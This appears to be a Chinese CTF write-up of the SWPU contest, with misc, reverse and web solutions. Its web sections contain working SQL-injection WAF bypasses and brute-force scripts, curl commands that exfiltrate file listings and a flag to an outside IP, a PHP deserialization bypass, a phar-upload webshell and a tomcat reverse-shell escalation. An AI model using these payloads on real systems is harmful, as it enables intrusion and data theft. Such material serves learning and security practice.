前言&乱七八糟的话
之前在公司群看到军爷说是想看看这个比赛,想一起搞搞,这是背景一。
刚好周四去北京出差了,出差的主要目的是给华北电力的各位童鞋做培训,同学们纷纷表示想打一下真正的CTF,这是背景二。
于是综上两个背景,从周六开始我也参与到这次CTF中了,吐槽一下,题目名字真心乱,这让我写WriteUp都没办法好好写- -!
当然比赛过程中,和出题人也交(P)流(y)了不少,很感谢出题人的慷概解答和循循善诱
对了,还有个槽点
比赛地址:http://ctf.08067.me/
08067,远程溢出,太imba了
平心而论,比赛的题目还是很有意思的,很感谢主办方给了一个这样的环境,里面也学到了一些新的姿势,从题目方面看得出来各位童鞋Web狗居多啊2333
签到题
题目信息
地址: QQ群:184517991
分值: 50分
Flag: flag{welcome_swpu_ctf}
解题过程
进入他们官方的QQ群,找了一圈没找到Flag,然后问了下管理员,管理员表示Flag在历史公告,But我的Mac QQ并不能看历史公告,于是。。。
嗯,这是一道送分题
Misc150(Misc2)
题目信息
地址: http://misc.08067.me/misc2/misc.pcapng
分值: 150分
Flag: flag{Rgb_dhskjadyhjksndjsagh}
解题过程
得到是个pcapng包,直接丢WireShark
发现有一大堆的HTTP通信包,于是直接看下HTTP的导出对象里有什么,果然功夫不负有心人
有一个名为flag.zip的文件,解压开,得到一个名为ce.txt的文件,打开之后发现其记载的似乎是一些RGB值
然后估计应该是依据这些RGB值来画图,看了一下这些信息,有98457行
然后首先要得到图片的长和宽,把98457因式分解下可得到
98457 = 37 * 3 * 887
感觉887作为长是比较OK的,37*3作为宽,于是得到图片大小为887 * 111
接下来写个小程序就可以画出来了
from PIL import Image x=887 # 长 y=111 # 宽 f = open("ce.txt", 'r') rgbinfo = f.readlines() f.close() c = Image.new("RGB", (x, y)) for i in range(0, x): for j in range(0, y): rgb = rgbinfo[i * y + j].split(", ") c.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2]))) c.show()
Misc100(Misc4)
题目信息
地址: http://misc.08067.me/misc4/fuck.html
分值: 100分
Flag: flag{wjTdUoAgqzxxnjfa9kan}
解题过程
老实说,这也是一道送分题,给的说明是fuck!!fuck!!,进去一看,乐了,JSFuck,于是估计下一个是BrainFuck
直接丢Chrome的Console跑一下
还真是BrainFuck
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<++++[ ->+++ +<]>+ +++.- ---.< +++[- >---< ]>--- -.<++ ++[-> ----< ]>------.< ++++[ ->+++ +<]>. <+++[ ->--- <]>-- ----. <++++ +[->+ ++++< ]>+.<+++++ +[->- ----- <]>-- ----- ---.< +++++ +[->+ +++++ <]>++ .<+++ [->+++<]>+ .++++ +++++ .--.. <+++[ ->--- <]>-. ----. ----. ----- .<+++ +++[->---- --<]> ----. <++++ +++[- >++++ +++<] >+.<+ ++[-> ---<] >-.<+ ++[->+++<] >++++ .<+++ [->++ +<]>+ +++++ .<
找到一个在线运行这玩意的网站,拿到了Flag
https://www.nayuki.io/page/brainfuck-interpreter-javascript
Web200-1(Web1)
题目信息
地址: http://web1.08067.me/
分值: 200分
Flag: flag{sql_iNJEct_comMond_eXEC!}
解题过程
只给了一个登录框,然后没了,那么尝试了一下admin, admin提示密码错误,再尝试了下其他的用户名密码,提示用户名错误,确定用户名就是admin
然后尝试了下万能密码,发现是有WAF检测的
另外HTTP头这里给出了提示
JHF1ZXJ5PSJTRUxFQ1QgKiBGUk9NIGFkbWluIFdIRVJFIHVuYW1lPSciLiR1bmFtZS4iJyI7aWYgKCRyb3dbJ3Bhc3N3ZCddPT09JHBhc3N3ZCl7JF9TRVNTSU9OWydmbGFnJ10gPSAxOw==
base64_decode之后内容为
$query="SELECT * FROM admin WHERE uname='".$uname."'"; if ($row['passwd']===$passwd){ $_SESSION['flag'] = 1; }
得到了他的查询语句。
如果被ban了则提示illegal character!!@_@
那么首先先看下都有哪些被ban了,经过Fuzz发现
空格 or and union + * ,制表符
等等,都是被ban掉了,所以我们可用的就剩下
() ' = select from where
以及不含关键词的mysql自带函数
于是这是肉眼可见的一个盲注,接下来怎么注入就是问题了
显然没了空格,那么得先找到一个办法不需要空格也能注入的,因为*被Ban了所以注释代替空格也废了
在网上查找了一番,发现可以利用括号来代替空格
select pass from admin where user='Seclover' select(pass)from(admin)where(user)=('Seclover')
这两条语句是没有任何区别的
于是,在这里我们可以用()来绕过空格被过滤的情况,第一步,大功告成,
然后接下来,得想一个办法把末尾的’消灭掉,因为用空格代替之后的语句最后一个肯定是),But人家原先的语句最后一个肯定是’,所以接下来就需要构造我们的布尔条件了
在mysql的where里,允许如下这种的比较
select pass from admin where user='-1'=1='0'
其比较过程从左至右,依次比较,需要注意的是,在mysql里字符串表示为真,数字1(字符串格式的数字同样)同样表示为真,数字0(字符串格式的数字同样)可以表示为假,没取到数据也可以表示为假
user的查询结果和'-1'比较 --> 结果为假(0) 假与1比较 ----------------> 结果为假(0) 假与'0'比较 --------------> 结果为真(1)
于是最后的结果为真,所以我们可以控制的是他的逻辑
让原先的查询条件(user=xxx)为假,让最后的比较(xxx=’0′)为假,这样我们在中间的1就可以自己任意控制了,再加上mysql的子查询,就可以构造出完整的payload
# -------------- Payload -------------- # uname=uname'=(select(1)from(admin)where('1')=('1'))='&passwd=1 # -------------- 查询语句 -------------- # SELECT * FROM admin WHERE uname='uname'=(select(1)from(admin)where('1')=('1'))='';
提交之后发现提示password error,说明uname取出来了,即我们给出的条件为真
但是如果没取出来,则提示username error,说明uname没取出来,即我们给出的条件为假
于是接下来我们只要跑这个布尔盲注即可
然后猜passwd有多少位,二分法,最多100位,他不会真丧心病狂的把passwd搞成100位以上吧
# -------------- Payload -------------- # uname=uname'=(select(1)from(admin)where(length(passwd))<100)='&passwd=1 # 正确,位数< 100 uname=uname'=(select(1)from(admin)where(length(passwd))<50)='&passwd=1 # 正确,位数< 50 uname=uname'=(select(1)from(admin)where(length(passwd))<25)='&passwd=1 # 错误,25 < 位数 < 50 uname=uname'=(select(1)from(admin)where(length(passwd))<30)='&passwd=1 # 错误,30 < 位数 < 50 uname=uname'=(select(1)from(admin)where(length(passwd))<35)='&passwd=1 # 正确,30 < 位数 < 35 uname=uname'=(select(1)from(admin)where(length(passwd))<33)='&passwd=1 # 正确,30 < 位数 < 33 uname=uname'=(select(1)from(admin)where(length(passwd))<32)='&passwd=1 # 错误,32 < 位数 < 33 uname=uname'=(select(1)from(admin)where(length(passwd))=32)='&passwd=1 # 正确,位数=32 # -------------- 查询语句 -------------- # SELECT * FROM admin WHERE uname='uname'=(select(1)from(admin)where(length(passwd))=32)='';
passwd有32位,猜测是个md5,
然后发现有个坑···逗号被ban了,尴尬,mid substr都废了,But这俩要废了,布尔盲注就相当于废了,本着不信邪的原则上网各种找资料
在http://www.2cto.com/Article/201609/545408.html找到这么一段话
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。select substr(database() from 1 for 1); select mid(database() from 1 for 1);
但是for里又包含关键词or,所以for也不能用,最后尝试把for 1直接删掉,发现是可以执行的
不断变换最后from的1(N),则mid或是substr将会从右往左开始取第N位到末尾
上个图就很容易看明白了
OK,最后一个问题也解决了,愉快的注入吧
这里写了个python的小脚本来慢慢跑
import hackhttp hh = hackhttp.hackhttp() md5_str = '1234567890abcdef' flag = "" url = "http://web1.08067.me/login.php" for length in range(0,33): for i in md5_str: raw = '''POST /login.php HTTP/1.1 Host: web1.08067.me Content-Length: 76 Cache-Control: max-age=0 Origin: http://web1.08067.me Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Referer: http://web1.08067.me/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: PHPSESSID=h28ht7sld80jlsvcil0q5e2p90 uname=uname'=(select(1)from(admin)where(mid((passwd)from(%d))='%s%s'))='&passwd=1''' % (32-length,i,flag) a,b,c,d,e = hh.http(url,raw=raw) if "password" in c: flag = i + flag print 32-length,flag
很快结果就出来了
c12366feb7373bf6d869ab7d581215cf
扔到cmd5查一下
OK,得到密码为1234567mn,直接用admin登陆进去吧
登陆进去懵逼了,一脸懵逼,对角懵逼,排比懵逼,二叉树懵逼,霍夫曼懵逼,薛定谔懵逼,空中转体两周半懵逼,阿姆斯特朗回旋加速式阿姆斯特朗懵逼,反正就是各种懵逼就对了
What The Fuck!!!!,这踏马是个什么鬼!!!说好的Flag呢!!!
看来还有最后的考验,看起来像是命令执行,执行成功会有提示,失败了也会有提示,就是没有回显,然而一旦命令里有空格就GG了,好吧,找个在linux能代替空格的东西
在本机尝试之后,发现
最后就是解决回显的问题了,在问了出题人之后,确认了自己的思路,需要利用Cloud Eye或是Web Server Log把数据透传出来
那简单了,利用
这个把命令裹起来,然后curl到自己服务器,直接查看自己服务器的Web Server Log就可以知道数据了
最终的payloadcurl http://114.215.113.20/`ls ./|head -n 1 | tail -n 1`
curl http://114.215.113.20/`ls ./|head -n 2 | tail -n 1`
curl http://114.215.113.20/`ls ./|head -n 3 | tail -n 1`
curl http://114.215.113.20/`ls ./|head -n 4 | tail -n 1`
curl http://114.215.113.20/`ls ./|head -n 5 | tail -n 1`
执行完成之后用head和tail取其中第N条数据,然后带着这个数据去访问我的服务器,我只要查看我的webserver的log就可以了
看来flag不在当前目录,跳到上层目录看看curl http://114.215.113.20/`ls ../|head -n 1 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 2 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 3 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 4 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 5 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 6 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 7 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 8 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 9 | tail -n 1`
curl http://114.215.113.20/`ls ../|head -n 10 | tail -n 1`
上层目录也没有,再往上看curl http://114.215.113.20/`ls ../../|head -n 1 | tail -n 1`
curl http://114.215.113.20/`ls ../../|head -n 2 | tail -n 1`
curl http://114.215.113.20/`ls ../../|head -n 3 | tail -n 1`
curl http://114.215.113.20/`ls ../../|head -n 4 | tail -n 1`
嗯,看到flag了,cat下看看curl http://114.215.113.20/`cat ../../flag`
搞定,flag似乎少了{},在flag之后和末尾加上就好了
WEB200-2(Web3)
题目信息
地址: http://web3.08067.me/wakeup/index.php
分值: 200分
Flag: flag{WakEup!_v1ry_f4N}
解题过程
提示,出题人喜欢在编辑器下修改代码,于是猜测是不是有.bak .swp文件,查看了一下robots.txt和bak swp文件
得到两个bak
/wakeup/index.php.bak
if(isset($_COOKIE['user'])){
$login = @unserialize(base64_decode($_COOKIE['user']));
if(!empty($login->pass)){
$status = $login->check_login();
if($status == 1){
$_SESSION['login'] = 1;
var_dump("login by cookie!!!");
}
}
}
/wakeup/index.php.bak
class help {
static function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
}
return $value;
}
}
static function remove_xss($string) {
$string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
$parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');
$parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
$parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');
$parm = array_merge($parm1, $parm2, $parm3);
for ($i = 0; $i < sizeof($parm); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($parm[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '([x|X]0([9][a][b]);?)?';
$pattern .= '|(([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $parm[$i][$j];
}
$pattern .= '/i';
$string = preg_replace($pattern, '****', $string);
}
return $string;
}
static function mystrip_tags($string)
{
$string = help::new_html_special_chars($string);
$string = help::remove_xss($string);
return $string;
}
static function new_html_special_chars($string) {
$string = str_replace(array('&', '"', '<', '>',''), array('&', '"', '<', '>','***'), $string);
return $string;
}
// 实体出库
static function htmlspecialchars_($value)
{
if (empty($value))
{
return $value;
}
else
{
if(is_array($value)){
foreach ($value as $k => $v) {
$value[$k] = self::htmlspecialchars_($v);
}
}else{
$value = htmlspecialchars($value);
}
return $value;
}
}
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
exit("Error" . $error);
}
else
{
return $db_string;
}
}
}
class login{
var $uid = 0;
var $name='';
var $pass='';
//检查用户是否已登录
public function check_login(){
mysql_conn();
$sqls = "select * from phpinfoadmin where username='$this->name'";
$sqls = help::CheckSql($sqls);
$re = mysql_query($sqls);
$results = @mysql_fetch_array($re);
//echo $sqls . $results['passwd'];
mysql_close();
if (!empty($results))
{
if($results['passwd'] == $this->pass)
{
return 1;
}
else
{
return 0;
}
}
}
//预防cookie某些破坏导致登陆失败
public function __destruct(){
$this->check_login();
}
//反序列化时检查数据
public function __wakeup(){
$this->name = help::addslashes_deep($this->name);
$this->pass = help::addslashes_deep($this->pass);
}
}
?>
从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()
在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词
所以首先要把__wakeup()给Bypass掉
在网上寻找之后,发现在php5.6以下的版本是有一漏洞的,CVE-2016-7124
http://www.tuicool.com/articles/aMfeEfJ
https://bugs.php.net/bug.php?id=72663
当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行
那么接下来构造序列化字符串就行O:5:"login":2:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}
----------------------
O:5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}
当使用第二条序列化的字符串时,将会绕过__wakeup()的执行
OK,第一步已经完成了,接下来想办法绕过help::CheckSql()的检查即可
这里卡了半天,最后不得已问了下出题人,出题人表示这里是个时间盲注,然后看了下代码,sleep被ban了。然后再问出题人,出题人表示和80sec-ids有关,然后就不说话了- -!
在DeDeCMS里用的也是这一个WAF,在网络上查找一番之后,发现如果数据被两个引号包裹的话,就不会进行检测,也就意味着sleep可以逃逸出来了,然后想办法把引号包含进去,在查(xun)阅(web)过相关(chu)资(ti)料(ren)之后,了解到在mysql中,以
包裹的字符串会当做表名/列名处理,如果是包裹的单引号的话,也就相当于什么都没有包裹,于是只要改变原有的where条件就可以了。那么最终的payload就是
admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,1,1))=34) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,1,1))=35) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,1,1))=36) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,1,1))=37) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,1,1))=38) and (`'`.``.username=1 or sleep(3)) # ········· # ------------------------------------------------------------------------------------------------------ # admin' and (select 1 from flag where ascii(mid(flag,2,1))=33) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,2,1))=34) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,2,1))=35) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,2,1))=36) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,2,1))=37) and (`'`.``.username=1 or sleep(3)) # admin' and (select 1 from flag where ascii(mid(flag,2,1))=38) and (`'`.``.username=1 or sleep(3)) # ·········
写个小程序去处理这一切吧
import hackhttp import time def base64(s): import base64 return base64.b64encode(s) hh = hackhttp.hackhttp() flag = "" for i in range(1,40): for j in range(33,125): payload = "admin' and (select 1 from flag where ascii(mid(flag,%d,1))=%d) and (`'`.``.username=1 or sleep(3)) #"% (i,j) payload_len = len(payload) serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload) raw = '''GET /wakeup/index.php HTTP/1.1 Host: web3.08067.me Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: user=%s ''' % base64(serialize_str) url = "http://web3.08067.me/wakeup/index.php" start = time.time() a,b,c,d,e = hh.http(url,raw=raw) end = time.time() exec_time = end-start if exec_time > 3: flag += chr(j) print i,flag break
差不多5分钟左右flag就出来了(时间盲注真够蛋疼的)
这里是成功的图
REVERSE50(CM50)
题目信息
地址: http://misc.08067.me/CM50/CM50.exe
分值: 50分
Flag: Flag{sWpU_the_1_R3}
解题过程
讲道理,这题也是一个送分题,基本可以看做是Reverse类型的签到题
下载下来是个exe,打开之后提示缺少两个dll,mfc120ud.dll和msvcr120d.dll,补齐dll后界面如图所示
丢到IDA里没发现啥东西,然后突发奇想是不是把什么元素/控件隐藏起来了,于是用ResHacker打开看看,果不其然Flag就在其中
REVERSE100(CM100)
题目信息
地址: http://misc.08067.me/CM100/CM100.exe
分值: 100分
Flag: Flag{lr{-l0F-)uFe?}
解题过程
CM100不是我做的,找了Incken帮我搞定的,所以这里也就直接让他帮我写了这题的WP。
先查下壳,没有。直接扔进OD,运行。提示“wrong”,在堆栈向下找
这里似乎是flag,但其实不是。还是静态分析吧。
在ida里直接搜索字串flag。
找到位置直接F5看C代码。
获取输入值后先与12345678异或,然后与26544631比较,真则设dword_DE4028为1,否则设0并报”wrong”。
之后异或值再与12345678异或参与真flag的计算。Text为假flag字串。
上图中标出的位置应该是由于不小心,导致了V10的访问过界。应该是i % 8。
剩下就简单了,所以最后的密码也就是输入值与12345678异或之后和26544631
反过来就是
12345678 ^ 26544631 = 19491001
通过12345678与26544631异或算出正确输入值.
然后让程序告诉我们真的flag吧。
WEB50(Web签到)
题目信息
地址: http://139.196.35.85/
分值: 50分
Flag: flag{This_a_web!}
解题过程
Web系列的签到题,右键查看源代码就行
REVERSE150
题目信息
地址: http://misc.08067.me/CM150/cm150.apk
分值: 150分
Flag: Flag{I’m_s0_Tir3D|T-T}
解题过程
题目是个apk,安装上去之后只有一个输入框和一个按钮
不说话,直接拖到jadx里看源代码,在com.example.test1这个包的MainActiveity里就可以直接看到代码
package com.example.test1; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends Activity { String Flag = ""; String encode; String encode1; int flag = 0; public String Encode1(String Flag, int len) { char[] xor = Flag.toCharArray(); int[] encode = new int[16]; if (len != 16) { return "lalalalalalala~~"; } int i; for (i = 0; i < Flag.length(); i++) { encode[i] = xor[i]; encode[i] = encode[i] ^ 29; } for (i = 1; i < 8; i++) { int temp = encode[i]; encode[i] = encode[15 - i]; encode[15 - i] = encode[i]; } for (i = 0; i < 16; i++) { xor[i] = (char) encode[i]; } return String.valueOf(xor); } public String Encode2(String encode, String Flag) { char[] xor1 = encode.toCharArray(); char[] xor2 = Flag.toCharArray(); for (int i = 0; i < 16; i++) { if (i % 2 == 0) { xor1[i] = xor2[i]; } } return String.valueOf(xor1); } public int chack(String encode1) { char[] xor = encode1.toCharArray(); int[] sum = new int[16]; int[] sum1 = new int[]{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}; for (int i = 0; i < 16; i++) { sum[i] = xor[i]; if (sum[i] != sum1[i]) { return 0; } } return 1; } protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ((Button) findViewById(R.id.button1)).setOnClickListener(new OnClickListener() { public void onClick(View v) { EditText Text1 = (EditText) MainActivity.this.findViewById(R.id.Text1); MainActivity.this.Flag = Text1.getText().toString(); if (MainActivity.this.Flag.length() != 16) { Toast.makeText(MainActivity.this, "something wrong~~", 0).show(); return; } MainActivity.this.encode = MainActivity.this.Encode1(MainActivity.this.Flag, MainActivity.this.Flag.length()); MainActivity.this.encode1 = MainActivity.this.Encode2(MainActivity.this.encode, MainActivity.this.Flag); MainActivity.this.flag = MainActivity.this.chack(MainActivity.this.encode1); if (MainActivity.this.flag == 1) { Toast.makeText(MainActivity.this, "WOw~, You got it !", 0).show(); } else { Toast.makeText(MainActivity.this, "trg again~", 0).show(); } } }); } public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.main, menu); return true; } public boolean onOptionsItemSelected(MenuItem item) { if (item.getItemId() == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }
根据代码流程,输入的字符串要为16位,然后进行Encode1
Encode1的过程如下
把字符串的每个字符的ASCII HEX转成数组(toCharArray),
每一位与0x29异或,然后把
第14位的值设为第2位
第13位的值设为第3位
第12位的值设为第4位
第11位的值设为第5位
第10位的值设为第6位
第9位的值设为第7位
然后结果return回去,Encode1就完了,进入Encode2阶段
在Encode2阶段,把每个双数位的值换成相应位置输入的值
例如输入abcdefghijklmnop,encode之后的结果为|rspqvwttwvqpsrm
然后进入encode2,双位替换
|rspqvwttwvqpsrm Encode1(input) abcdefghijklmnop input | | | | | | | | | | | | | | | | +-+-+-+-+-+-+-+- +替换 -不替换 |r|p|v|t|w|q|s|m | | | | | | | | arcpevgtiwkqmsom output
经过Encode2的结果与{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}的每一位比较
所以第一步就可以先把Encode2的结果推回去,先转换为ASCII字符 I0mas._tio3Y|I-I
I0mas._tio3Y|I-I | | | | | | | | I*m*s*_*i*3*|*_* Encode1(input) *代表未知
然后在Encode1里有交换,所以可以得出交换赋值之前的内容
I*m*s*_*i*3*|*_* |||||||||||||| ||||||++|||||| |||||+--+||||| ||||+----+|||| |||+------+||| ||+--------+|| |+----------+| +------------+
妈的想不来,写不下去了,
反正我是把算法拿出来,比较的时候打印人工爆破出来的
经过无数次尝试(大约50来次吧),得出的答案是I*m*s*_*ir3D|T-T * 代表任意字符,也就是说此题有多解
问了下出题人,截图给出题人证明之后,出题人给了flag
REVERSE200
题目信息
地址: http://misc.08067.me/CM200/CM200.exe
分值: 200分
Flag: Flag{y3s_Is_tH3_LaSt}
解题过程
这题也是Inkcen表哥做的,办法很暴力,按位爆破,按照他的话说,为什么要按位做检测呢- -!
直接附上爆破代码和截图吧
#include#include char flag[30] = { 0 }; int main() { HWND mainh = FindWindow(nullptr,L"CM200"); if (mainh == nullptr) printf("error"); HWND XX = FindWindowEx(mainh, nullptr, L"Edit", nullptr); if(XX == nullptr) printf("error2"); flag[0] = 'F'; flag[1] = 'l'; flag[2] = 'a'; flag[3] = 'g'; flag[4] = '{'; flag[5] = 'y'; flag[6] = '3'; flag[7] = 's'; flag[8] = '_'; flag[9] = 'I'; flag[10] = 's'; flag[11] = '_'; flag[12] = 't'; flag[13] = 'H'; flag[14] = '3'; flag[15] = '_'; flag[16] = 'L'; flag[17] = 'a'; flag[18] = 'S'; flag[19] = 't'; flag[20] = '}'; for (char i = 0x20; i < 0x7e; i++) { flag[20] = i; SendMessageA(XX, WM_SETTEXT, NULL, (LPARAM)flag); HWND box = FindWindow(nullptr, L"wow"); Sleep(10); if (box != nullptr) { exit(0); } } return 0; }
每一位输入之后可以检测,那么接下来就类似于盲注一样,一位一位检测就可以拿到所有的了
WEB100
题目信息
地址: http://web2.08067.me/
分值: 100分
Flag: flag{this_is_fl@g_1}
解题过程
讲道理,这题界面很炫
嗯,很Imba,我很喜欢
看到提示有include.php,于是访问一下,发现没有什么,看了下源代码,发现新的tips
目前就凭这两个文件名,可以看出这题应该是上传一个东西,然后给包含进来
访问了下upload.php,发现只能上传jpg/png/gif,其他的都上传不上去
然后看了下include,用file参数包含下自己,发现失败,然后问了下军爷,他说你把.php删掉试试,结果….
竟然终止了,看来他会自己把.php后缀加上,所以成了无限递归包含了,于是想想怎么把php传上去
在网上查了相关文章之后,发现phar伪协议可以满足这个要求
http://www.hackdig.com/09/hack-26779.htm
把php文件打包成zip,后缀改为jpg,上传上去,然后利用phar伪协议包含进来
我这里打包了两个文件,一个为phpinfo.php,一个为yijuhua.php
成功,于是直接访问webshell
在shell目录下有个swpu_wbe2_tips.txt,打开之后得到该题Flag,还有下题的提示
WEB200-3
题目信息
地址: http://web2.08067.me/
分值: 200分
Flag: flag{You_get_the_root_–!}
解题过程
从上题得到的提示,看样子是要提权,有一个tomcat.08067.me的域名,问了一下出题人,tomcat和web2这台服务器是同一台服务器
翻了一下服务器上的文件,发现在icematcha这个用户的家目录下有个tomcat_restart.sh文件
访问了下是tomcat的默认页面,管理页面被改过无法访问,于是在这里想了一下是不是要利用tomcat去提权呢,搜了一下果然是这个思路
http://blog.csdn.net/jlvsjp/article/details/52776377
跟着这篇文章从头看了下,所有提权特征就差tomcat权限的用户了,这篇文章对整个提权漏洞的分析还是很透彻的
php的shell的权限为www-data,所以得把权限换成tomcat
啥都不说了,先找一下tomcat路径,扔一个jsp的马上去
tomcat的默认路径在/var/lib/tomcat6/,往/var/lib/tomcat6/webapps/ROOT/写一个jsp的马,然后反弹shell
然后把tomcat的提权exp丢上去,直接提权
